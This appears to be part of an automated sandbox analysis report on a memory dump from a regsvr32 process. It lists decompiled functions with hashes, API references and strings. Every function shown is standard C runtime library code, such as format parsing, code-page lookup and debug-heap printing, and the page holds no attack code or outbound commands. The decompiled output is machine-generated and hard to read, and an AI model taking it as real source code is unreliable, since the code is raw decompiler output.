Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction ID: 14f8518244b6aa56c92c2133ed4feb23c5223715f37474fc6187c6031a63ef29
Opcode Fuzzy Hash: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction Fuzzy Hash: 94414DB2A0C6C28AE7F09B64E8407BEB2E4F384746F600125D6C9875E8DB3DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction ID: d4871e39cfd66166000c08c845a9e51e3e7b3f71581565f00727d2aef18c331a
Opcode Fuzzy Hash: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction Fuzzy Hash: C8415972A0D7C186E7A49B55E8903AEBBA0F784740FA14126E6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
P, xrefs: 000007FEF9D382B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
_wcstombs_s_l, xrefs: 000007FEF9D38290

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction ID: a80555c9662aee50eaf55af6b2d7c09464ca7ea00ccabcf41043a4b878837ec0
Opcode Fuzzy Hash: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction Fuzzy Hash: 4B511726A0DBC586E6B48B19E84476EB3E0F386361F204625D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction ID: 366f55b25be61a8d80973343189ccb34eb8cf05d0f6555861afeb0151a731927
Opcode Fuzzy Hash: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction Fuzzy Hash: 1A414C72A0D6C28AE3B0DB24E8547BEB7E4F384345F600126E6D887AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

